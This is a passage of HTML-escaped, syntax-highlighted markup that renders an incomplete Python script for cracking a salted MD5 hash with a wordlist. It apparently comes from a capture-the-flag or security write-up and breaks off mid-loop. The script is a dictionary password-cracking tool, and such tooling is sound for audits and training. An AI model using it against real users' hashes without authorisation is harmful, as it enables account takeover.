&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-python&quot;&gt;import&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sys&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-python&quot;&gt;import&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;hashlib&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-statement z-conditional z-if z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-conditional z-if z-python&quot;&gt;if&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-support z-variable z-magic z-python&quot;&gt;__name__&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-comparison z-python&quot;&gt;==&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;__main__&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-block z-conditional z-if z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;    &lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt; print usage
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;    &lt;span class=&quot;z-meta z-statement z-conditional z-if z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-conditional z-if z-python&quot;&gt;if&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;len&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sys&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;argv&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-comparison z-python&quot;&gt;!=&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;4&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-block z-conditional z-if z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;        &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;usage: &lt;span class=&quot;z-constant z-other z-placeholder z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-placeholder z-begin z-python&quot;&gt;{&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-placeholder z-end z-python&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &amp;lt;salt&amp;gt; &amp;lt;md5_to_crack&amp;gt; &amp;lt;path_to_dictionary&amp;gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;format&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sys&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;argv&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-arguments z-python&quot;&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;        &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sys&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;exit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;    &lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt; hash to crack and salt
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;    &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;salt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sys&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;argv&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-arguments z-python&quot;&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;strip&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;    &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;salt_encoded&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;str&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;encode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;salt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;    &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;md5_to_crack&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sys&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;argv&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-arguments z-python&quot;&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;strip&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;    &lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt; read every word (1 per line) of dictionary
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;    &lt;span class=&quot;z-meta z-statement z-with z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-with z-python&quot;&gt;with&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;open&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sys&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;argv&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-arguments z-python&quot;&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-statement z-with z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-with z-as z-python&quot;&gt;as&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-with z-python&quot;&gt; &lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;f&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-block z-with z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;        &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;word&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;f&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;readline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;        &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;count&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;1&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;        &lt;span class=&quot;z-meta z-statement z-loop z-while z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-loop z-while z-python&quot;&gt;while&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;word&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-block z-loop z-while z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;            &lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt; status progress
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;            &lt;span class=&quot;z-meta z-statement z-conditional z-if z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-conditional z-if z-python&quot;&gt;if&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;count&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;%&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;1000&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-comparison z-python&quot;&gt;==&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-block z-conditional z-if z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;                &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;We&amp;#39;re at the word n°&lt;span class=&quot;z-constant z-other z-placeholder z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-placeholder z-begin z-python&quot;&gt;{&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-placeholder z-end z-python&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;format&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;count&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;            &lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt; prepare the strings to be hashed
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;            &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;word_encoded&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;str&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;encode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;word&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;strip&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;            &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;to_be_hashed&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;word_encoded&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;+&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;salt_encoded&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
